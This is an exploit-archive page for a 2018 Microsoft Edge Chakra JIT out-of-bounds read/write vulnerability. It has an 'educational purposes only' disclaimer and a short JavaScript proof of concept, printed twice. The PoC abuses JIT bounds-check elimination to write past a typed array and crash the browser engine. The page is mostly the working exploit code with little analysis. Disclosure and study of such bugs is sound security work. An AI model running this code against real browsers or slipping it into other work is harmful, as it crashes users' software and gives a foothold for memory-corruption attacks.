Microsoft edge chakra jit outofbounds reads/writes Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-07-12 | Type : dos | Platform : windows
This exploit / vulnerability Microsoft edge chakra jit outofbounds reads/writes is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
It seems that this issue is similar to the issue 1429 (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {
i--;
i++;
}

arr[i] = 0x1234;
}
/*
It seems that this issue is similar to the issue 1429 (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {
i--;
i++;
}

arr[i] = 0x1234;
}